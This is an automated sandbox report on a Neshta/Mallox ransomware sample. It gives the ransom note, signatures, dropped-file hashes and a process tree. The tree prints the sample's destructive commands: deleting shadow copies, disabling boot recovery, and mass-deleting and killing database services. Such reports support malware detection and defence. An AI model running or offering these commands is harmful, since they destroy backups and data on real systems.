Overview

overview

10

Static

static

10

4cbac922af...f2.exe

windows7-x64

10

4cbac922af...f2.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    93s
  • max time network
    90s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23/12/2022, 07:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
  • Size 182KB
  • Sample221223-janmcabc2s
  • SHA256 4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
neshtaevasionpersistenceransomwarespywarestealer

Malware Config

Extracted

Path

  • C:\FILE RECOVERY.txt

Ransom Note
  • Hello Your files are encrypted and can not be used To return your files in work condition you need decryption tool Follow the instructions to decrypt all your data Do not try to change or restore files yourself, this will break them If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB How to get decryption tool: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: 4638A7E389C35E1141DA926E 5) You will see payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion If you are unable to contact us through the site, then you can email us: [email protected] Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. �
URLs

  • http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin

  • http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

Signatures

  • Detect Neshta payload 54 IoCs
  • Modifies system executable filetype association 2 TTPs 1 IoCs
    persistence
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

    persistencespywareneshta
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Executes dropped EXE 6 IoCs
  • Stops running service(s) 3 TTPs
    evasion
  • Loads dropped DLL 13 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 11 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
    "C:\Users\Admin\AppData\Local\Temp\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe"
    1⤵
    • Modifies system executable filetype association
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
      "C:\Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe"
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2036
      • C:\Windows\svchost.com
        "C:\Windows\svchost.com" "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:528
        • C:\Windows\system32\vssadmin.exe
          C:\Windows\sysnative\vssadmin.exe delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:1460
      • C:\Windows\svchost.com
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1640
          • C:\Windows\SysWOW64\sc.exe
            sc delete "MSSQLFDLauncher"
            5⤵
            • Launches sc.exe
            PID:2012
      • C:\Windows\svchost.com
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1484
      • C:\Windows\svchost.com
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1260
      • C:\Windows\svchost.com
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe" >> NUL
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /c ping 127.0.0.1 && del C:\Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe >> NUL
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1
            5⤵
            • Runs ping.exe
            PID:1508
  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
    1⤵
      PID:1540
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\System32\cmd.exe /c bcdedit /set {current} recoveryenabled no
      1⤵
        PID:1300
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1808

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ose.exe
            • Path C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ose.exe
            • Size 186KB
            • SHA256 2a0aa0763fdef9c38c5dd4d50703f0c7e27f4903c139804ec75e55f8388139ae
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            setup.exe
            • Path C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\setup.exe
            • Size 1.1MB
            • SHA256 e17cd94c08fc0e001a49f43a0801cea4625fb9aee211b6dfebebec446c21f460
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            DW20.EXE
            • Path C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\DW20.EXE
            • Size 859KB
            • SHA256 ead58c483cb20bcd57464f8a4929079539d634f469b213054bf737d227c026dc
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            dwtrig20.exe
            • Path C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\dwtrig20.exe
            • Size 547KB
            • SHA256 593e60cc30ae0789448547195af77f550387f6648d45847ea244dd0dd7abf03d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ACROBR~1.EXE
            • Path C:\PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE
            • Size 313KB
            • SHA256 85f7249bfac06b5ee9b20c7f520e3fdc905be7d64cfbefb7dcd82cd8d44686d5
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ADOBEC~1.EXE
            • Path C:\PROGRA~2\Adobe\READER~1.0\Reader\ADOBEC~1.EXE
            • Size 569KB
            • SHA256 3cd34a88e3ae7bd3681a7e3c55832af026834055020add33e6bd6f552fc0aabd
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            AcroRd32.exe
            • Path C:\PROGRA~2\Adobe\READER~1.0\Reader\AcroRd32.exe
            • Size 381KB
            • SHA256 0587fd366ea7e94b3ae500874b1c5d684b5357fcc7389682d5a13c3301a28801
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            Setup.exe
            • Path C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe
            • Size 414KB
            • SHA256 fe778f8c1f6f8e044a89dd7da498c8dfec51deb520eb9c187f40c0e3be5c9bab
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ADOBEA~1.EXE
            • Path C:\PROGRA~2\COMMON~1\ADOBEA~1\Versions\1.0\ADOBEA~1.EXE
            • Size 100KB
            • SHA256 909205de592f50532f01b4ac7b573b891f7e6e596b44ff94187b1ba4bcc296bb
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            DW20.EXE
            • Path C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE
            • Size 859KB
            • SHA256 ead58c483cb20bcd57464f8a4929079539d634f469b213054bf737d227c026dc
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            EQNEDT32.EXE
            • Path C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE
            • Size 571KB
            • SHA256 ba3dc87fca4641e5f5486c4d50c09d087e65264e6c5c885fa6866f6ccb23167b
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            LICLUA.EXE
            • Path C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\LICLUA.EXE
            • Size 229KB
            • SHA256 706db4d832abdf4907a1386b917e553315660a59bfb4c180e38215b4a606d896
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSOICONS.EXE
            • Path C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOICONS.EXE
            • Size 543KB
            • SHA256 4f80d4b9b5b2c5c3d5a78ee6771a02015d32bcecde995593e959d5ad660ea7ac
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            Oarpmany.exe
            • Path C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe
            • Size 205KB
            • SHA256 7737ab500cbbd5d507881d481eef9bd91cf6650bf8d2b41b47b1a8c5f2789858
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GO664E~1.EXE
            • Path C:\PROGRA~2\Google\Update\1336~1.71\GO664E~1.EXE
            • Size 138KB
            • SHA256 09786f64db91266470b56046098d9825253ba5d6a5361c2f4e6dbc8ec28c9bb2
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GOBD5D~1.EXE
            • Path C:\PROGRA~2\Google\Update\1336~1.71\GOBD5D~1.EXE
            • Size 217KB
            • SHA256 c87fd5b223cb6dc716815b442b4964d4670a30b5c79f4fb9f1c3a65ec9072e5a
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GOF5E2~1.EXE
            • Path C:\PROGRA~2\Google\Update\1336~1.71\GOF5E2~1.EXE
            • Size 138KB
            • SHA256 c17785fe7e6b5e08fe5a4ca3679fee85ba6f2e5efcce0fb9807727cf8aa25265
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GOOGLE~1.EXE
            • Path C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE
            • Size 191KB
            • SHA256 fba2b9270ade0ce80e8dfc5e3279db683324502f6103e451cd090c69da56415e
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GOOGLE~2.EXE
            • Path C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~2.EXE
            • Size 251KB
            • SHA256 1f455ea6bab09377e5fdfbd5df102f79c5cbbb5fe5ce456f2fbb34f94ec848bb
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            DISABL~1.EXE
            • Path C:\PROGRA~2\Google\Update\DISABL~1.EXE
            • Size 191KB
            • SHA256 fba2b9270ade0ce80e8dfc5e3279db683324502f6103e451cd090c69da56415e
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ONELEV.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE
            • Size 85KB
            • SHA256 fde30bfdd34c7187d02eabe49f2386b4661321534b50032a838b179a21737411
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ACCICONS.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE
            • Size 1.4MB
            • SHA256 f9837240f5913bfa289ac2b5da2ba0ba24f60249d6f7e23db8a78bb10c3c7722
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            BCSSync.exe
            • Path C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe
            • Size 129KB
            • SHA256 67629b025fed676bd607094fa7f21550e18c861495ba664ee0d2b215a4717d7f
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            CNFNOT32.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE
            • Size 188KB
            • SHA256 bee98e2150e02ad6259184a35e02e75df96291960032b3085535fb0f1f282531
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GRAPH.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE
            • Size 4.1MB
            • SHA256 62d6c979d708efe21c9618a18232fd2c74e85bb9560daa298025ab9af784202d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GROOVEMN.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\GROOVEMN.EXE
            • Size 962KB
            • SHA256 ab6a5bfc12229c116033183db646125573989dfc2fc076e63e248b1b82f6751d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            IECONT~1.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\IECONT~1.EXE
            • Size 605KB
            • SHA256 3fb179a3ae88a3d14db48de29d4b9d43243b80b2118b578b8117ad776ce47f12
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSOHTMED.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE
            • Size 150KB
            • SHA256 65353203a36f2ddb752ba64468fe30b903fa4f2225db835a6e6f92cf52e53d8d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSOUC.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE
            • Size 392KB
            • SHA256 5d916f7c7f6cb6cfd7545a57cb9c9d9c6df16af3517298c346901081a9135303
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSQRY32.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE
            • Size 694KB
            • SHA256 ff16fdc703e55ddfe5ee867f343f3b20b496e7199c6c4b646335a01026f74550
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSTORDB.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\MSTORDB.EXE
            • Size 726KB
            • SHA256 e657a9f85af7cb5ded734e162db514e466256a83d51f4454abbf19c54b30686f
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSTORE.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE
            • Size 144KB
            • SHA256 b35e60f1551870c1281d673380fe3101cd91b1f0b4d3c14c2383060f5e120373
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            NAMECO~1.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE
            • Size 127KB
            • SHA256 8a3598c889dbcb1dca548a6193517ed7becb74c780003203697a2db22222a483
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            OIS.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\OIS.EXE
            • Size 308KB
            • SHA256 318f1f3fbdd1cf17c176cb68b4bc2cf899338186161a16a1adc29426114fb4f8
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ONENOTE.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE
            • Size 1.6MB
            • SHA256 3f6decd82b72a5ba1ee224b52d9fbd6486be22a0b855e28eaad47ae92df266f0
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ONENOTEM.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE
            • Size 262KB
            • SHA256 d1d73220342ff51a1514d2354654c6fcaedc9a963cb3e0a7e5b0858cfc5c5c7d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            POWERPNT.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE
            • Size 2.1MB
            • SHA256 8f9fb3c2ce132a64e157738feaf82bb512ec03d03fa2da95c26470defeef513d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            PPTICO.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE
            • Size 3.7MB
            • SHA256 39a089d363b15c37cca9f747a17e89ad1dbe0bc86ff23466526beaa5e36d6d4b
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            SELFCERT.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE
            • Size 549KB
            • SHA256 5811b7b694d99c703b4c4bc72d6b7d846d05b2b0f45a7e3e4279cdb6fd81265f
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            VPREVIEW.EXE
            • Path C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE
            • Size 606KB
            • SHA256 2a189b995a7283b503bb5864dd9ca57976b3812a6a34aaf89a7551336c43bc24
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            misc.exe
            • Path C:\PROGRA~2\MICROS~1\Office14\misc.exe
            • Size 638KB
            • SHA256 b41057f4e4bd8c48e3b1fe52c0a63627fd2e736a50b36bc28180512a8083be98
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Path C:\Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Size 141KB
            • SHA256 e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Path C:\Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Size 141KB
            • SHA256 e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            directx.sys
            • Path C:\Windows\directx.sys
            • Size 64B
            • SHA256 fe1367f1126268f43a2057082a45af196b03887626331a53542bb1263d87a24e
            • MD5 SHA1 SHA512
            Submit Download

            directx.sys
            • Path C:\Windows\directx.sys
            • Size 43B
            • SHA256 e67c0acc933ecc138d6c6bef08698c7e2c01f2a680e4292aae54a84f833aa062
            • MD5 SHA1 SHA512
            Submit Download

            directx.sys
            • Path C:\Windows\directx.sys
            • Size 43B
            • SHA256 e67c0acc933ecc138d6c6bef08698c7e2c01f2a680e4292aae54a84f833aa062
            • MD5 SHA1 SHA512
            Submit Download

            svchost.com
            • Path C:\Windows\svchost.com
            • Size 40KB
            • SHA256 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            svchost.com
            • Path C:\Windows\svchost.com
            • Size 40KB
            • SHA256 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            svchost.com
            • Path C:\Windows\svchost.com
            • Size 40KB
            • SHA256 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            svchost.com
            • Path C:\Windows\svchost.com
            • Size 40KB
            • SHA256 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            svchost.com
            • Path C:\Windows\svchost.com
            • Size 40KB
            • SHA256 980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ACROBR~1.EXE
            • Path \PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE
            • Size 313KB
            • SHA256 85f7249bfac06b5ee9b20c7f520e3fdc905be7d64cfbefb7dcd82cd8d44686d5
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            LOGTRA~1.EXE
            • Path \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
            • Size 252KB
            • SHA256 8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            LOGTRA~1.EXE
            • Path \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
            • Size 252KB
            • SHA256 8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            EQNEDT32.EXE
            • Path \PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE
            • Size 571KB
            • SHA256 ba3dc87fca4641e5f5486c4d50c09d087e65264e6c5c885fa6866f6ccb23167b
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            GOOGLE~1.EXE
            • Path \PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE
            • Size 191KB
            • SHA256 fba2b9270ade0ce80e8dfc5e3279db683324502f6103e451cd090c69da56415e
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ONELEV.EXE
            • Path \PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE
            • Size 85KB
            • SHA256 fde30bfdd34c7187d02eabe49f2386b4661321534b50032a838b179a21737411
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            MSQRY32.EXE
            • Path \PROGRA~2\MICROS~1\Office14\MSQRY32.EXE
            • Size 694KB
            • SHA256 ff16fdc703e55ddfe5ee867f343f3b20b496e7199c6c4b646335a01026f74550
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            NAMECO~1.EXE
            • Path \PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE
            • Size 127KB
            • SHA256 8a3598c889dbcb1dca548a6193517ed7becb74c780003203697a2db22222a483
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ONENOTEM.EXE
            • Path \PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE
            • Size 262KB
            • SHA256 d1d73220342ff51a1514d2354654c6fcaedc9a963cb3e0a7e5b0858cfc5c5c7d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            SELFCERT.EXE
            • Path \PROGRA~2\MICROS~1\Office14\SELFCERT.EXE
            • Size 549KB
            • SHA256 5811b7b694d99c703b4c4bc72d6b7d846d05b2b0f45a7e3e4279cdb6fd81265f
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Path \Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Size 141KB
            • SHA256 e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Path \Users\Admin\AppData\Local\Temp\3582-490\4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2.exe
            • Size 141KB
            • SHA256 e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ose00000.exe
            • Path \Users\Admin\AppData\Local\Temp\ose00000.exe
            • Size 145KB
            • SHA256 70964a0ed9011ea94044e15fa77edd9cf535cc79ed8e03a3721ff007e69595cc
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            memory/1236-54-0x0000000076941000-0x0000000076943000-memory.dmp
            Download